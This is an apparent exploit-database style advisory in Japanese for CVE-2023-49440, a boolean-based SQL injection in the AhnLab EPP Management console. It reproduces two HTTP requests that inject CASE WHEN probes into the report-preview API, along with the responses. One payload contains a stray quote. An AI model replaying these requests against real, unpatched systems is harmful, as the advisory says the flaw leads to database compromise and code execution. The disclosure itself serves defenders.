
AhnLab EPP Managementにおける、リモートコード実行に至るブールベースSQLインジェクションの概念実証。再現用のリクエスト/レスポンス例付き。
Exploit Title: ***AhnLab EPP Management(統合型エンドポイントセキュリティ管理)- RCE に繋がる Boolean ベースの SQL インジェクション***
日付: 2023年7月16日
CVE : CVE-2023-49440
ベンダーホームページ: https://www.ahnlab.com/en
ソフトウェアリンク:https://www.ahnlab.com/ko/product/epp-management
製品レビュー:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp
リファレンスリンク: https://www.cve.org/CVERecord?id=CVE-2023-49440
脆弱性影響バージョン: 1.0.15 以前
修正バージョン: 1.0.15 より後のバージョン(2023年リリース)
***脆弱性と製品の説明***:
AhnLab EPP Management は、パッチ管理、高度なマルウェア検出、EDR、XDR 機能を統合し、エンタープライズエンドポイント全体にわたって集中管理、リアルタイム監視、ポリシー制御を提供する、世界的に認知された次世代型エンドポイント保護プラットフォームです。AhnLab EPP Management v1.0.15 の Web 管理インターフェースにおいて、Boolean ベースおよび時間ベースの SQL インジェクションが発見され、管理者権限によるバックエンドデータベースの完全侵害と、限定されたリモートコード実行(RCE)に至りました。複数のエンドポイントが Boolean ベースの SQL インジェクション脆弱性の影響を受けており、例えば JSON 内の **Preview*** パラメータなどが該当します。影響を受けるすべてのエンドポイントは v1.0.15 より後のリリースでパッチが適用され、修正は 2023 年に実施されました。
***これは AhnLab EPP Management における Boolean ベースの SQL インジェクションの再現証明です。ただし、セキュリティ上の理由から Python PoC は来年まで公開しません。なお、影響を受けるバージョンには 2 年以上前にパッチが適用されています***
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json; charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate
Authorization: bearer<Token>
Content-Type: application/json; charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": 1,
"params": [
"RDB",
"(SELECT CONCAT(CONCAT('apple',(CASE WHEN (1010=1010) THEN '1' ELSE '0' END)),'mango'))" a"
]
},
"data": []
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 135
date: 21 may 2023 11:48:00 GMT
cache-control: no-cache, no-store, no-control
connection: close
{
"error_code": "EPP-00000",
"error_msg": "success",
"revision": 1,
"response": [
{
"report": "[{\"concat\":\"applemango\"}]",
"item_order": 1
}
]
}
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Token>
Content-Type: application/json;charset=utf-8
Content-Length: 241
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": "1",
"params": [
"RDB",
"1",
"(SELECT CONCAT(CONCAT('apple', (CASE WHEN (1337=1337) THEN '1' ELSE '0' END)), 'mango'))"
]
},
"data": {
"extract_key": "<Key>="
}
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 181
date: 16 Sept 2023 10:28:10 GMT
cache-control: no-cache,no-store,no-control
connection: close
{
"error_code": "SWU-00027",
"error_msg": "[SWU-00027] Conceal key expired. : \"\\\"extract_key\\\":\\\"<Key>=\\\"\"",
"revision": 1,
"response": [
]
}